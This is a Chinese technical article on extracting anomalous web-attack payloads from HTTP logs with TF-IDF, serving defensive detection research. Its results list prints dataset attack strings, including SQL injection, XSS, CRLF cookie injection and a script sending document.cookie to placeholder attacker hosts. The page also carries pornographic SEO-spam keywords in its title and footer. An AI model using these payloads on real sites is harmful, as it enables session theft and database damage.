成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

討論 | 自動化Web滲透Payload提取技術

作者：zhanghaoyil
安全 應用安全 自動化
Web安全是一個日新月異的朝陽領域，每天的互聯網上都在發生著從未暴露的0 Day和N Day攻擊。這時一個大家都意識到的重要問題就浮出水面了：如何能從海量Web訪問日志中把那一小撮異常請求撈出來，供安全人員分析或進行自動化實時阻斷和報警?

一、寫在前面

做Web安全已經三四年了，從最初的小白到今天的初探門路，小鮮肉已經熬成了油膩大叔。Web安全是一個日新月異的朝陽領域，每天的互聯網上都在發生著從未暴露的0 Day和N Day攻擊。這時一個大家都意識到的重要問題就浮出水面了：如何能從海量Web訪問日志中把那一小撮異常請求撈出來，供安全人員分析或進行自動化實時阻斷和報警?

[[245313]]

對于這個問題，傳統的方法是利用傳統的WAF(無機器學習引擎)，進行規則匹配。傳統WAF有其存在的意義，但也有其掣肘。首先，安全從業人員都懂，基于黑名單的防御往往存在各種被繞過的風險，看看安全論壇里各式花樣打狗(安全狗)秘籍就可見一斑。其次，傳統WAF只能發現已知的安全攻擊行為或類型，對于新出現的攻擊存在更新延遲，維護上也有比較大的成本。我認為這些問題都源于一個現實——傳統WAF不能對其保護的網站進行建模，因此只能基于已知規則，對各式各樣的Web系統進行統一的無差別的保護。

近年來，機器學習(包括深度學習)高調闖入人們的視野，也逐步應用在了信息安全領域。基于機器學習的WAF相關論文和文章也看了一些，似乎大家都主要應用了有監督機器學習，也都提到了一個問題：有標記的攻擊數據集(黑樣本)難于大量獲取。而一小波提出無監督異常檢測思路的文章，又會遇到精確度低的問題。

針對這些問題，我決定先進行一些分解。既然直接預測整個請求是否是攻擊很難做到可接受的準確率，不妨就先把異常的攻擊Payload找出來。找出來后，就可以用來進行精準的攻擊分析，還可以幫助優化WAF規則等。本文所述的技術最大的優勢是無監督，無需先驗規則即可自動提取異常Payload。

項目GitHub： https://github.com/zhanghaoyil/Hawk-I (不斷完善中，歡迎貢獻代碼)

二、思路

要把異常參數找出來，最顯而易見要解決的問題就是如何量化請求中各參數的異常程度。為了最大化利用日志中蘊含的需要保護的Web系統自身的結構信息，我決定對請求按訪問路徑進行拆解，即分析參數value在同路徑同參數Key的其他參數值中的異常程度。

具體算法步驟是：

1) 基于TF-IDF對不同路徑下的樣本分別進行特征向量化，按參數維度對特征向量進行匯聚。

2) 基于特征向量提取出樣本參數在同路徑同參數Key的其他參數值中異常分數AS(Anomaly Score)。

3) 設置閾值T，取出AS大于T的異常參數值作為輸出。

三、數據集及預處理

本文使用HTTP CSIC 2010數據集。該數據集由西班牙最高科研理事會CSIC在論文Application of the Generic Feature Selection Measure in Detection of Web Attacks中作為附件給出的，是一個電子商務網站的訪問日志，包含36000個正常請求和25000多個攻擊請求。異常請求樣本中包含SQL注入、文件遍歷、CRLF注入、XSS、SSI等攻擊樣本。數據集下載鏈接：

http://www.isi.csic.es/dataset/ 。在本項目Github中也準備好了。

HTTP CSIC 2010數據集單個樣本為如下格式：

  1. POST http://localhost:8080/tienda1/publico/anadir.jsp HTTP/1.1 
  2. User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko) 
  3. Pragma: no-cache 
  4. Cache-control: no-cache 
  5. Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5 
  6. Accept-Encoding: x-gzip, x-deflate, gzip, deflate 
  7. Accept-Charset: utf-8, utf-8;q=0.5, *;q=0.5 
  8. Accept-Language: en 
  9. Host: localhost:8080 
  10. Cookie: JSESSIONID=933185092E0B668B90676E0A2B0767AF 
  11. Content-Type: application/x-www-form-urlencoded 
  12. Connection: close 
  13. Content-Length: 68 
  14.  
  15. id=3&nombre=Vino+Rioja&precio=100&cantidad=55&B1=A%F1adir+al+carrito 

根據觀察，該數據集除路徑(URI)和參數外其他Header無任何攻擊Payload，具有很多冗余信息。因此對該數據集進行格式化，只保留HTTP方法、路徑和參數，轉為JSON格式方便后面使用。具體進行了如下預處理，具體代碼見data/parse.py：

1) 去除冗余信息。

2) 執行迭代的urldecode。

3) 生成標準化的參數，將大小寫字母、數字分別轉換為a和n。同時保留原始參數和標準化的參數，用于最終的Payload提取。

  1. def normalize(self, s, with_sub=True): 
  2.        #urldecode 
  3.        while True: 
  4.            new_s = parse.unquote(s, encoding='ascii', errors='ignore') 
  5.            if new_s == s: 
  6.                break 
  7.            else: 
  8.                s = new_s 
  9.        #normalize 
  10.        if withsub: 
  11.            s = re.sub('\ufffd', 'a', s) 
  12.            s = re.sub('[a-zA-Z]', 'a', s) 
  13.            s = re.sub('\d', 'n', s) 
  14.            s = re.sub('a+', 'a+', s) 
  15.            s = re.sub('n+', 'n+', s) 
  16.            s = re.sub(' ', '', s) 
  17.        return s 

四、實現

根據算法步驟，項目主要分為向量化和參數異常評估和異常Payload提取兩部分。

1. 向量化和參數異常分數

一個Web訪問記錄的成分是比較固定的，每個部分(方法、路徑、參數、HTTP頭、Cookie等)都有比較好的結構化特點。因此可以把Web攻擊識別任務抽象為文本分類任務，而且這種思路應用在了安全領域，如有監督的攻擊識別[1]、 XSS識別[2] 等。文本分類任務中常用的向量化手段有詞袋模型(Bag of Word，BOW)、TF-IDF模型、詞向量化(word2vec)等，兜哥的文章[3]已經做了詳細的講解。

經過對Web日志特點的分析，本文認為使用TF-IDF來對樣本進行向量化效果更好。一是經過標準化后請求參數的值仍會有非常多的可能性，這種情況下詞袋模型生成的特征向量長度會非常大，而且沒法收縮;二是每個請求中參數個數有大有小，絕大多數不超過10個，這個時候詞向量能表達的信息非常有限，并不能反映出參數value的異常性;三是TF-IDF可以表達出不同請求同一參數的值是否更有特異性，尤其是IDF項。

舉個例子， http://ip.taobao.com/ipSearch.html?ipAddr=8.8.8.8 是一個查詢IP詳細信息的頁面(真實存在)，在某一段時間內收到了10000個請求，其中9990個請求中ipAddr參數值是符合xx.xx.xx.xx這個IP的格式的，通過0×2中提到的標準化之后，也就是9990個請求的ipAddr參數為n+.n+.n+.n+ (當然這里做了簡化，數字不一定為多位)。此外有10個請求的ipAddr是形如alert('XSS')、'or '1' = '1之類的不同的攻擊Payload。

經過TF-IDF向量化后，那9900個請求ipAddr=n+.n+.n+.n+這一項的TF-IDF值：

  1. TF-IDF normal = TF * IDF = 1 * log(10000/(9990+1)) = 0.001 

而出現ipAddr=alert('XSS')的請求的TF-IDF值：

  1. TF-IDF abnormal = TF * IDF = 1 * log(10000/(1+1)) = 8.517 

可以看出異常請求參數value的TF-IDF是遠大于正常請求的，因此TF-IDF可以很好地反映出參數value的異常程度。

熟悉TF-IDF的同學一定有疑問了，你這TF-IDF的字典也會很大呀，如果樣本量很大而且有各式各樣的參數value，你的特征向量豈不是稀疏得不行了?對于這個問題，我有一個解決方案，也就是將所有的TF-IDF進一步加以處理，對參數key相同的TF-IDF項進行求和。設參數key集合為K={k1, k2, …, kn}，TF-IDF字典為集合x={x1, x2, …, xm}。則每個參數key的特征值為：

  1. vn = ∑TF-IDFxn   xn∈{x | x startswith ‘kn=’} 

具體代碼在vectorize/vectorizer.py中：

  1. for path, strs in path_buckets.items(): 
  2.         if not strs: 
  3.             continue 
  4.         vectorizer = TfidfVectorizer(analyzer='word', token_pattern=r"(?u)\b\S\S+\b") 
  5.         try: 
  6.             tfidf = vectorizer.fit_transform(strs) 
  7.             #putting same key's indices together 
  8.             paramindex = {} 
  9.             for kv, index in vectorizer.vocabulary.items(): 
  10.                 k = kv.split('=')[0] 
  11.                 if k in param_index.keys(): 
  12.                     param_index[k].append(index) 
  13.                 else: 
  14.                     param_index[k] = [index] 
  15.             #shrinking tfidf vectors 
  16.             tfidf_vectors = [] 
  17.             for vector in tfidf.toarray(): 
  18.                 v = [] 
  19.                 for param, index in param_index.items(): 
  20.                     v.append(np.sum(vector[index])) 
  21.                 tfidf_vectors.append(v) 
  22.             #other features 
  23.             other_vectors = [] 
  24.             for str in strs: 
  25.                 ov = [] 
  26.                 kvs = str.split(' ')[:-1] 
  27.                 lengths = np.array(list(map(lambda x: len(x), kvs))) 
  28.                 #param count 
  29.                 ov.append(len(kvs)) 
  30.                 #mean kv length 
  31.                 ov.append(np.mean(lengths)) 
  32.                 #max kv length 
  33.                 ov.append(np.max(lengths)) 
  34.                 #min kv length 
  35.                 ov.append(np.min(lengths)) 
  36.                 #kv length std 
  37.                 ov.append(np.std(lengths)) 
  38.                 other_vectors.append(ov) 
  39.             tfidf_vectors = np.array(tfidf_vectors) 
  40.             other_vectors = np.array(other_vectors) 
  41.             vectors = np.concatenate((tfidf_vectors, other_vectors), axis=1) 

這些特征向量能否充分反映樣本的異常性呢?我使用未調參的隨機森林模型進行驗證，得到了大于95%準確率的結果，比較滿意。下圖是模型學習曲線，可以看出仍處于欠訓練的狀態，如果樣本量更充足的話將會得到更好的效果。

由于本文所述方法旨在使用無監督學習提取異常參數，并不用糾結于有監督分類的結果，只要驗證了提取的特征的確可以反映出參數的異常性即可。

2. 異常參數值提取

得到參數值的異常分數下面的工作就簡單多了，主要就是：

  • 數據的標準化(Standardization)
  • 根據閾值確定異常參數
  • 根據異常分數在訓練集矩陣的位置提取對應的參數值

這部分沒有什么特別的邏輯，直接看代碼吧：

  1. if name == 'main': 
  2.     x = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_x.npy") 
  3.     params = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_params.npy") 
  4.     with open(f"../vectorize/paths/~tienda1~publico~registro.jsp_samples.json", 'r') as sf: 
  5.         samples = json.loads(sf.readline()) 
  6.     #Standardization 
  7.     ases = StandardScaler().fit_transform(x[:, :len(params)]) 
  8.     indices = ases > 6 
  9.     #extract anomalous payload 
  10.     for s in range(indices.shape[0]): 
  11.         for p in range(indices.shape[1]): 
  12.             if indices[s, p] and params[p] in samples[s]['OriParams'].keys() and samples[s]['OriParams'][params[p]].strip(): 
  13.                 print(f"##{params[p]}## ##{samples[s]['OriParams'][params[p]]}##") 

提取結果：

  1. ##modo## ##registroalert("Paros");## 
  2. ##modo## ##registroalert("Paros");## 
  3. ##ntc## ##|## 
  4. ##ntc## ##|## 
  5. ##modo## #### 
  6. ##modo## #### 
  7. ##modo## ##registro' AND '1'='1## 
  8. ##modo## ##registro' AND '1'='1## 
  9. ##ntc## ##9851892046707743alert("Paros");## 
  10. ##ntc## ##9851892046707743alert("Paros");## 
  11. ##ntc## ##5024784015351535alert("Paros");## 
  12. ##ntc## ##5024784015351535alert("Paros");## 
  13. ##ntc## ##878731290934670A## 
  14. ##ntc## ##878731290934670A## 
  15. ##nombre## ##Remi'g/*io## 
  16. ##nombre## ##Remi'g/*io## 
  17. ##cp## ##1642A## 
  18. ##cp## ##1642A## 
  19. ##cp## ##any? 
  20. Set-cookie:+Tamper=1041264011025374727## 
  21. ##cp## ##any? 
  22. Set-cookie:+Tamper=1041264011025374727## 
  23. ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
  24. ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
  25. ##modo## ##registro@40## 
  26. ##modo## ##registro@40## 
  27. ##ntc## ##841140437746594A## 
  28. ##ntc## ##841140437746594A## 
  29. ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## 
  30. ##cp## ##31227Set-cookie:+Tamper=1041264011025374727## 
  31. ##ntc## ##|## 
  32. ##ntc## ##|## 
  33. ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
  34. ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
  35. ##modo## ##|## 
  36. ##modo## ##|## 
  37. ##cp## ##4377A## 
  38. ##cp## ##4377A## 
  39. ##modo## ##+## 
  40. ##modo## ##+## 
  41. ##modo## ##' DELETE FROM USERS## 
  42. ##modo## ##' DELETE FROM USERS## 
  43. ##dni## #### 
  44. ##dni## #### 
  45. ##cp## #### 
  46. ##cp## #### 
  47. ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## 
  48. ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--## 
  49. ##dni## ##684739141## 
  50. ##dni## ##684739141## 
  51. ##modo## ##registro' DELETE FROM USERS## 
  52. ##modo## ##registro' DELETE FROM USERS## 
  53. ##nombre## ##*Aitan/a## 
  54. ##nombre## ##*Aitan/a## 
  55. ##ntc## ##6995607131571243## 
  56. ##ntc## ##6995607131571243## 
  57. ##modo## ##registroalert("Paros");## 
  58. ##modo## ##registroalert("Paros");## 
  59. ##modo## ##','0','0','0');waitfor delay '0:0:15';--## 
  60. ##modo## ##','0','0','0');waitfor delay '0:0:15';--## 
  61. ##modo## ##registro';waitfor delay '0:0:15';--## 
  62. ##modo## ##registro';waitfor delay '0:0:15';--## 
  63. ##modo## #### 
  64. ##modo## #### 
  65. ##modo## ##registro"><## 
  66. ##modo## ##registro"><## 
  67. ##modo## ##'OR'a='a## 
  68. ##modo## ##'OR'a='a## 
  69. ##cp## ##any 
  70. Set-cookie:+Tamper=5765205567234876235## 
  71. ##cp## ##any 
  72. Set-cookie:+Tamper=5765205567234876235## 
  73. ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
  74. ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%## 
  75. ##ntc## ##@40## 
  76. ##ntc## ##@40## 
  77. ##cp## ##AND 11=1## 
  78. ##cp## ##AND 11=1## 
  79. ##modo## ##registroAND 11=1## 
  80. ##modo## ##registroAND 11=1## 
  81. ##modo## ##+## 
  82. ##modo## ##+## 
  83. ##modo## ##registrobob@alert(Paros).parosproxy.org## 
  84. ##modo## ##registrobob@alert(Paros).parosproxy.org## 
  85. ##cp## ##any? 
  86. Set-cookie:+Tamper=5765205567234876235## 
  87. ##cp## ##any? 
  88. Set-cookie:+Tamper=5765205567234876235## 
  89. ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
  90. ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2## 
  91. ##cp## ##44349','0');waitfor delay '0:0:15';--## 
  92. ##cp## ##44349','0');waitfor delay '0:0:15';--## 
  93. ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  94. ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  95. ##ntc## ##219312393915667A## 
  96. ##ntc## ##219312393915667A## 
  97. ##ntc## ##928497527479202A## 
  98. ##ntc## ##928497527479202A## 
  99. ##ntc## ##848868523325038A## 
  100. ##ntc## ##848868523325038A## 
  101. ##ntc## ##AND 11=1## 
  102. ##ntc## ##AND 11=1## 
  103. ##ntc## ## ## 
  104. ##ntc## ## ## 
  105. ##dni## ##B071B890B48F## 
  106. ##dni## ##B071B890B48F## 
  107. ##modo## ##registro## 
  108. ##modo## ##registro## 
  109. ##cp## ##26130any 
  110. Set-cookie:+Tamper=5765205567234876235## 
  111. ##cp## ##26130any 
  112. Set-cookie:+Tamper=5765205567234876235## 
  113. ##ntc## ##' AND '1'='1## 
  114. ##ntc## ##' AND '1'='1## 
  115. ##modo## ##registro ## 
  116. ##modo## ##registro ## 
  117. ##ntc## ##+## 
  118. ##ntc## ##+## 
  119. ##ntc## ##706790437347227A## 
  120. ##ntc## ##706790437347227A## 
  121. ##cp## ##+## 
  122. ##cp## ##+## 
  123. ##dni## ##';waitfor delay '0:0:15';--## 
  124. ##dni## ##';waitfor delay '0:0:15';--## 
  125. ##cp## ##44721bob@alert(Paros).parosproxy.org## 
  126. ##cp## ##44721bob@alert(Paros).parosproxy.org## 
  127. ##cp## #### 
  128. ##cp## #### 
  129. ##ntc## ##424959116693048A## 
  130. ##ntc## ##424959116693048A## 
  131. ##cp## ##bob@alert(Paros).parosproxy.org## 
  132. ##cp## ##bob@alert(Paros).parosproxy.org## 
  133. ##cp## ##31495bob@alert(Paros).parosproxy.org## 
  134. ##cp## ##31495bob@alert(Paros).parosproxy.org## 
  135. ##ntc## ##899062190611389A## 
  136. ##ntc## ##899062190611389A## 
  137. ##ntc## ##0602317509119469## 
  138. ##ntc## ##0602317509119469## 
  139. ##modo## ##','0');waitfor delay '0:0:15';--## 
  140. ##modo## ##','0');waitfor delay '0:0:15';--## 
  141. ##dni## ##' AND '1'='1## 
  142. ##dni## ##' AND '1'='1## 
  143. ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## 
  144. ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--## 
  145. ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## 
  146. ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2## 
  147. ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  148. ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  149. ##cp## ##22314','0','0');waitfor delay '0:0:15';--## 
  150. ##cp## ##22314','0','0');waitfor delay '0:0:15';--## 
  151. ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## 
  152. ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?## 
  153. ##modo## ##registro@40## 
  154. ##modo## ##registro@40## 
  155. ##dni## ##35507034W" AND "1"="1## 
  156. ##dni## ##35507034W" AND "1"="1## 
  157. ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## 
  158. ##modo## ##registroSet-cookie:+Tamper=1041264011025374727## 
  159. ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## 
  160. ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--## 
  161. ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))## 
  162. ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))## 
  163. ##dni## ##paros" style="background:url(javascript:alert('Paros'))## 
  164. ##dni## ##paros" style="background:url(javascript:alert('Paros'))## 
  165. ##cp## ##0530A## 
  166. ##cp## ##0530A## 
  167. ##ntc## ##any 
  168. Set-cookie:+Tamper=5765205567234876235## 
  169. ##ntc## ##any 
  170. Set-cookie:+Tamper=5765205567234876235## 
  171. ##cp## ##0951A## 
  172. ##cp## ##0951A## 
  173. ##ntc## ##any? 
  174. Set-cookie:+Tamper=5765205567234876235## 
  175. ##ntc## ##any? 
  176. Set-cookie:+Tamper=5765205567234876235## 
  177. ##modo## ##registro"><## 
  178. ##modo## ##registro"><## 
  179. ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## 
  180. ##modo## ##registrosessionid=12312312& username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## 
  181. ##cp## ##1883A## 
  182. ##cp## ##1883A## 
  183. ##ntc## ##1816581279872417'OR'a='a## 
  184. ##ntc## ##1816581279872417'OR'a='a## 
  185. ##modo## ##registrosessionid=12312312& username=<script>document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  186. ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  187. ##modo## ##');waitfor delay '0:0:15';--## 
  188. ##modo## ##');waitfor delay '0:0:15';--## 
  189. ##modo## ##registro'INJECTED_PARAM## 
  190. ##modo## ##registro'INJECTED_PARAM## 
  191. ##dni## ##83627503D','0','0','0');waitfor delay '0:0:15';--## 
  192. ##dni## ##83627503D','0','0','0');waitfor delay '0:0:15';--## 
  193. ##cp## ##1914A## 
  194. ##cp## ##1914A## 
  195. ##cp## ##35543' DELETE FROM USERS## 
  196. ##cp## ##35543' DELETE FROM USERS## 
  197. ##ntc## ##@40## 
  198. ##ntc## ##@40## 
  199. ##cp## ##alert("Paros");## 
  200. ##cp## ##alert("Paros");## 
  201. ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org## 
  202. ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org## 
  203. ##modo## ##|## 
  204. ##modo## ##|## 
  205. ##ntc## ##alert("Paros");## 
  206. ##ntc## ##alert("Paros");## 
  207. ##ntc## ##367411357982441A## 
  208. ##ntc## ##367411357982441A## 
  209. ##cp## ##';waitfor delay '0:0:15';--## 
  210. ##cp## ##';waitfor delay '0:0:15';--## 
  211. ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org## 
  212. ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org## 
  213. ##modo## ##|## 
  214. ##modo## ##|## 
  215. ##ntc## ##7238071991283064 ## 
  216. ##ntc## ##7238071991283064 ## 
  217. ##cp## ##0529A## 
  218. ##cp## ##0529A## 
  219. ##modo## ##'INJECTED_PARAM## 
  220. ##modo## ##'INJECTED_PARAM## 
  221. ##dni## ##+## 
  222. ##dni## ##+## 
  223. ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  224. ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie## 
  225. ##dni## #### 
  226. ##dni## #### 
  227. ##modo## ##registro@40## 
  228. ##modo## ##registro@40## 
  229. ##cp## ##46715alert("Paros");## 
  230. ##cp## ##46715alert("Paros");## 
  231. ##cp## ##08786Set-cookie:+Tamper=1041264011025374727## 
  232. ##cp## ##08786Set-cookie:+Tamper=1041264011025374727## 
  233. ##modo## ##alert("Paros");## 
  234. ##modo## ##alert("Paros");## 
  235. ##modo## ##"><## 
  236. ##modo## ##"><## 
  237. ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## 
  238. ##modo## ##registrosessionid=12312312& username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?## 
  239. ##ntc## ##1771682809315400' AND '1'='1## 
  240. ##ntc## ##1771682809315400' AND '1'='1## 

可以看到，至此已經把異常參數值提取出來了，包括SQL注入、XSS、命令注入、CRLF注入、文件包含等典型的攻擊Payload。

五、后續計劃

這篇文章算是我在信息安全領域應用機器學習一系列嘗試的第一篇，思路不算清奇，也沒有什么特別的難點。但我個人喜歡先抑后揚，不管怎么樣先把成果搞出來，然后再慢慢優化和進步嘛。路總是一步一步走的。

后面我打算還是在Web安全這個領域做一些機器學習應用嘗試。這篇文章只是靜態地提取出異常Payload，而沒有利用到關鍵的Web系統結構信息，包括訪問時序的特征，訪問來源主體(IP、UID、設備指紋等)、訪問分布的特征，我將充分利用這些信息，嘗試開發一個無規則化的簡易機器學習WAF。

參考鏈接：

責任編輯：趙寧寧 來源： FreeBuf
Web安全攻擊滲透
相關推薦

2014-11-20 13:49:15

2014-11-12 09:24:00

2024-03-20 13:19:53

2020-09-30 10:38:31

Web 開發框架

2011-01-20 10:17:25

ibmdwWeb

2012-03-29 10:57:12

Web自動化測試

2012-11-20 17:22:57

2020-08-03 15:40:57

Web自動化工具測試

2023-11-20 22:07:51

PythonPDF

2017-12-17 21:58:18

2021-09-01 09:38:21

自動化滲透測試網絡安全攻擊

2018-12-03 08:46:36

Web瀏覽器SeleniumPython

2009-11-30 17:12:57

BMC

2021-01-24 11:46:26

自動化Web 優化

2009-12-23 16:19:25

WPF UI自動化技術

2014-11-21 09:17:14

2013-04-03 14:01:25

網絡自動化自動化編排技術功能解析

2011-11-18 09:11:21

Web

2018-07-13 06:46:35

數據中心自動化微服務

2009-07-22 14:50:50

ibmdwWeb2.0Twitter
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板： 日韩在线中文字幕 | 国产成人精品久久二区二区 | 亚洲一区二区在线视频 | 巨大黑人极品videos精品 | 中文字幕精品视频在线观看 | 欧美一区二区三区 | 日中文字幕在线 | 国产女人与拘做受视频 | 欧美日韩三级在线观看 | 一区二区三区视频在线 | 国产一区二区三区亚洲 | 91电影| 亚洲欧美在线一区 | 亚洲不卡一 | 日韩毛片 | 国产精品视频免费播放 | 久久亚洲春色中文字幕久久久 | 久久久久久国产精品 | 一区二区视频在线 | 国产在线播 | 国产精品一区二区在线 | 国产日韩欧美综合 | 自拍偷拍精品 | 精品久久久久久久久久久久 | 天堂色区 | 久久免费精品视频 | 在线国产一区 | 91精品久久久久久久久久入口 | 欧美日韩国产精品一区 | 三级在线视频 | 久久久久国产一区二区三区 | 黄色国产在线视频 | 国产精品久久久亚洲 | 精品在线免费观看视频 | 欧美黄色大片在线观看 | 亚洲综合在线一区二区 | 欧美freesex黑人又粗又大 | 一区二区三区免费看 | 91久久久久久久久久久 | 免费在线黄| 国产高清免费 |